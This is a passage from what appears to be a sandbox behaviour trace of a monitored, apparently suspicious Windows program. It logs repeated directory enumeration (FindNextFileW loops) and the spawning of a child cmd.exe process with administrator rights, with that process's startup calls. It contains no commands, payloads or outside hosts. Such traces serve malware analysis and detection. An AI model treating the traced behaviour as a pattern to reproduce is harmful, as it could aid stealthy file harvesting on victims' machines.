hFindFile=0x4280340, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0069.909] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0069.909] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0070.053] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0070.053] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0070.131] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0070.131] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 0 [0070.131] FindClose (in: hFindFile=0x4280340 | out: hFindFile=0x4280340) returned 1 [0070.131] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0070.132] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0070.216] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0070.216] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0070.424] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0070.424] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0070.480] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0070.480] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0070.480] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0070.480] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 0 [0070.480] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0070.480] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0070.480] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0070.481] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0070.481] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0070.615] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0070.615] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0070.693] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0070.693] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0070.743] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0070.743] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 0 [0070.743] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0070.743] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0070.743] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0070.743] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0070.743] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 0 [0070.743] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0070.743] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0070.743] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0070.824] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0070.824] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0070.833] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0070.833] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0070.834] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42e3ef0 | out: hHeap=0x690000) returned 1 [0070.834] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 0 [0070.834] FindClose (in: hFindFile=0x4280200 | out: hFindFile=0x4280200) returned 1 [0070.834] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0070.834] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0070.838] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0070.838] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 1 [0070.838] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0070.838] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0070.838] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0070.838] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0070.839] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42f3ef8 | out: hHeap=0x690000) returned 1 [0070.839] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38eee10 | out: lpFindFileData=0x38eee10) returned 1 [0070.840] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0070.841] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 0 [0070.841] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0070.841] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0070.841] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0071.003] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0071.003] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0071.277] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0071.277] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0071.298] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0071.298] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0071.313] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0071.313] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0071.330] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0071.330] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0071.330] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0071.330] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 1 [0071.359] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0071.359] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef08c | out: lpFindFileData=0x38ef08c) returned 0 [0071.359] FindClose (in: hFindFile=0x4280140 | out: hFindFile=0x4280140) returned 1 [0071.359] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0071.360] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0071.365] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0071.365] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0071.374] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0071.375] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0071.381] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0071.381] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0071.385] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0071.385] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0071.386] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0071.386] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0071.386] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0071.386] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0071.386] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0071.386] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0071.387] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0071.387] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0071.406] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0071.406] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0071.438] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0071.438] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0071.438] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0071.438] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 [0071.439] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0071.440] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef308 | out: lpFindFileData=0x38ef308) returned 1 Thread: id = 27 os_tid = 0x4d0 Thread: id = 28 os_tid = 0x468 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x711a9000" os_pid = "0xdc4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x3d8" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0xb98 [0040.682] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7423a0000 [0040.682] __set_app_type (_Type=0x1) [0040.682] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7423b6d00) returned 0x0 [0040.682] __getmainargs (in: _Argc=0x7ff7423d9200, _Argv=0x7ff7423d9208, _Env=0x7ff7423d9210, _DoWildCard=0, _StartInfo=0x7ff7423d921c | out: _Argc=0x7ff7423d9200, _Argv=0x7ff7423d9208, _Env=0x7ff7423d9210) returned 0 [0040.683] _onexit (_Func=0x7ff7423b7fd0) returned 0x7ff7423b7fd0 [0040.683] _onexit (_Func=0x7ff7423b7fe0) returned 0x7ff7423b7fe0 [0040.683] _onexit (_Func=0x7ff7423b7ff0) returned 0x7ff7423b7ff0 [0040.683] _onexit (_Func=0x7ff7423b8000) returned 0x7ff7423b8000 [0040.683] _onexit (_Func=0x7ff7423b8010) returned 0x7ff7423b8010 [0040.683] _onexit (_Func=0x7ff7423b8020) returned 0x7ff7423b8020 [0040.684] GetCurrentThreadId () returned 0xb98 [0040.684] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb98) returned 0x70 [0040.684] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0040.684] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0040.684] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.693] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0040.693] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x4eef56f8e8 | out: phkResult=0x4eef56f8e8*=0x0) returned 0x2 [0040.693] VirtualQuery (in: lpAddress=0x4eef56f8d4, lpBuffer=0x4eef56f850, dwLength=0x30 | out: lpBuffer=0x4eef56f850*(BaseAddress=0x4eef56f000, AllocationBase=0x4eef470000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0040.693] VirtualQuery (in: lpAddress=0x4eef470000, lpBuffer=0x4eef56f850, dwLength=0x30 | out: lpBuffer=0x4eef56f850*(BaseAddress=0x4eef470000, AllocationBase=0x4eef470000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0040.693] VirtualQuery (in: lpAddress=0x4eef471000, lpBuffer=0x4eef56f850, dwLength=0x30 | out: lpBuffer=0x4eef56f850*(BaseAddress=0x4eef471000, AllocationBase=0x4eef470000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0040.693] VirtualQuery (in: lpAddress=0x4eef474000, lpBuffer=0x4eef56f850, dwLength=0x30 | out: lpBuffer=0x4eef56f850*(BaseAddress=0x4eef474000, AllocationBase=0x4eef470000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0040.693] VirtualQuery (in: lpAddress=0x4eef570000, lpBuffer=0x4eef56f850, dwLength=0x30 | out: lpBuffer=0x4eef56f850*(BaseAddress=0x4eef570000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffb78a, RegionSize=0x90000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0040.693] GetConsoleOutputCP () returned 0x1b5 [0040.749] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7423dfbb0 | out: lpCPInfo=0x7ff7423dfbb0) returned 1 [0040.749] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7423c8150, Add=1) returned 1 [0040.750] _get_osfhandle (_FileHandle=1) returned 0x254 [0040.750] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7423dfc04 | out: lpMode=0x7ff7423dfc04) returned 0 [0040.750] _get_osfhandle (_FileHandle=0) returned 0x248 [0040.750] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7423dfc00 | out: lpMode=0x7ff7423dfc00) returned 0 [0040.750] _get_osfhandle (_FileHandle=1) returned 0x254 [0040.750] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0040.750] _get_osfhandle (_FileHandle=1) returned 0x254 [0040.750] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7423dfc08 | out: lpMode=0x7ff7423dfc08) returned 0 [0040.750] _get_osfhandle (_FileHandle=0) returned 0x248 [0040.750] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7423dfc0c | out: lpMode=0x7ff7423dfc0c) returned 0 [0040.750] GetEnvironmentStringsW () returned 0x23aafcc5a10* [0040.750] GetProcessHeap () returned 0x23aafcc0000 [0040.750] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0xa7c) returned 0x23aafcc64a0 [0040.750] FreeEnvironmentStringsA (penv="A") returned 1 [0040.750] GetProcessHeap () returned 0x23aafcc0000 [0040.750] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0x8) returned 0x23aafcc6f30 [0040.750] GetEnvironmentStringsW () returned 0x23aafcc5a10* [0040.750] GetProcessHeap () returned 0x23aafcc0000 [0040.750] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0xa7c) returned 0x23aafcc6f50 [0040.750] FreeEnvironmentStringsA (penv="A") returned 1 [0040.750] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x4eef56e798 | out: phkResult=0x4eef56e798*=0x7c) returned 0x0 [0040.751] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x4eef56e790, lpData=0x4eef56e7b0, lpcbData=0x4eef56e794*=0x1000 | out: lpType=0x4eef56e790*=0x0, lpData=0x4eef56e7b0*=0x4, lpcbData=0x4eef56e794*=0x1000) returned 0x2 [0040.751] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x4eef56e790, lpData=0x4eef56e7b0, lpcbData=0x4eef56e794*=0x1000 | out: lpType=0x4eef56e790*=0x4, lpData=0x4eef56e7b0*=0x1, lpcbData=0x4eef56e794*=0x4) returned 0x0 [0040.751] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x4eef56e790, lpData=0x4eef56e7b0, lpcbData=0x4eef56e794*=0x1000 | out: lpType=0x4eef56e790*=0x0, lpData=0x4eef56e7b0*=0x1, lpcbData=0x4eef56e794*=0x1000) returned 0x2 [0040.751] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x4eef56e790, lpData=0x4eef56e7b0, lpcbData=0x4eef56e794*=0x1000 | out: lpType=0x4eef56e790*=0x4, lpData=0x4eef56e7b0*=0x0, lpcbData=0x4eef56e794*=0x4) returned 0x0 [0040.751] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x4eef56e790, lpData=0x4eef56e7b0, lpcbData=0x4eef56e794*=0x1000 | out: lpType=0x4eef56e790*=0x4, lpData=0x4eef56e7b0*=0x40, lpcbData=0x4eef56e794*=0x4) returned 0x0 [0040.751] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x4eef56e790, lpData=0x4eef56e7b0, lpcbData=0x4eef56e794*=0x1000 | out: lpType=0x4eef56e790*=0x4, lpData=0x4eef56e7b0*=0x40, lpcbData=0x4eef56e794*=0x4) returned 0x0 [0040.751] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x4eef56e790, lpData=0x4eef56e7b0, lpcbData=0x4eef56e794*=0x1000 | out: lpType=0x4eef56e790*=0x0, lpData=0x4eef56e7b0*=0x40, lpcbData=0x4eef56e794*=0x1000) returned 0x2 [0040.751] RegCloseKey (hKey=0x7c) returned 0x0 [0040.751] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x4eef56e798 | out: phkResult=0x4eef56e798*=0x7c) returned 0x0 [0040.751] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x4eef56e790, lpData=0x4eef56e7b0, lpcbData=0x4eef56e794*=0x1000 | out: lpType=0x4eef56e790*=0x0, lpData=0x4eef56e7b0*=0x40, lpcbData=0x4eef56e794*=0x1000) returned 0x2 [0040.751] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x4eef56e790, lpData=0x4eef56e7b0, lpcbData=0x4eef56e794*=0x1000 | out: lpType=0x4eef56e790*=0x4, lpData=0x4eef56e7b0*=0x1, lpcbData=0x4eef56e794*=0x4) returned 0x0 [0040.751] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x4eef56e790, lpData=0x4eef56e7b0, lpcbData=0x4eef56e794*=0x1000 | out: lpType=0x4eef56e790*=0x0, lpData=0x4eef56e7b0*=0x1, lpcbData=0x4eef56e794*=0x1000) returned 0x2 [0040.751] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x4eef56e790, lpData=0x4eef56e7b0, lpcbData=0x4eef56e794*=0x1000 | out: lpType=0x4eef56e790*=0x4, lpData=0x4eef56e7b0*=0x0, lpcbData=0x4eef56e794*=0x4) returned 0x0 [0040.751] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x4eef56e790, lpData=0x4eef56e7b0, lpcbData=0x4eef56e794*=0x1000 | out: lpType=0x4eef56e790*=0x4, lpData=0x4eef56e7b0*=0x9, lpcbData=0x4eef56e794*=0x4) returned 0x0 [0040.751] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x4eef56e790, lpData=0x4eef56e7b0, lpcbData=0x4eef56e794*=0x1000 | out: lpType=0x4eef56e790*=0x4, lpData=0x4eef56e7b0*=0x9, lpcbData=0x4eef56e794*=0x4) returned 0x0 [0040.751] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x4eef56e790, lpData=0x4eef56e7b0, lpcbData=0x4eef56e794*=0x1000 | out: lpType=0x4eef56e790*=0x0, lpData=0x4eef56e7b0*=0x9, lpcbData=0x4eef56e794*=0x1000) returned 0x2 [0040.751] RegCloseKey (hKey=0x7c) returned 0x0 [0040.751] time (in: timer=0x0 | out: timer=0x0) returned 0x5ca9191d [0040.751] srand (_Seed=0x5ca9191d) [0040.751] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0040.751] malloc (_Size=0x4000) returned 0x23aafc954f0 [0040.807] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0040.807] malloc (_Size=0xffce) returned 0x23aafdc0080 [0040.807] ??_V@YAXPEAX@Z () returned 0x23aafdc0080 [0040.808] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x23aafdc0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.808] malloc (_Size=0xffce) returned 0x23aafdd0060 [0040.808] ??_V@YAXPEAX@Z () returned 0x23aafdd0060 [0040.808] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x23aafdd0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0040.808] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7423dbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0040.808] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7423dbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0040.808] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7423dbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0040.809] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0040.809] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0040.809] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0040.809] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0040.809] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0040.809] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0040.809] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0040.809] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0040.809] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0040.809] GetProcessHeap () returned 0x23aafcc0000 [0040.809] RtlFreeHeap (HeapHandle=0x23aafcc0000, Flags=0x0, BaseAddress=0x23aafcc64a0) returned 1 [0040.809] GetEnvironmentStringsW () returned 0x23aafcc5a10* [0040.809] GetProcessHeap () returned 0x23aafcc0000 [0040.809] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0xa94) returned 0x23aafcc7a10 [0040.809] FreeEnvironmentStringsA (penv="A") returned 1 [0040.809] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7423dbb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0040.809] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7423dbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0040.809] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0040.809] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0040.809] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0040.809] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0040.809] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0040.809] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0040.809] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0040.809] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0040.809] malloc (_Size=0xffce) returned 0x23aafde0040 [0040.810] ??_V@YAXPEAX@Z () returned 0x23aafde0040 [0040.810] GetProcessHeap () returned 0x23aafcc0000 [0040.810] RtlAllocateHeap (HeapHandle=0x23aafcc0000, Flags=0x8, Size=0x40) returned 0x23aafcc84b0 [0040.810] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x23aafde0040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.810] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x23aafde0040, lpFilePart=0x4eef56f310 | out: 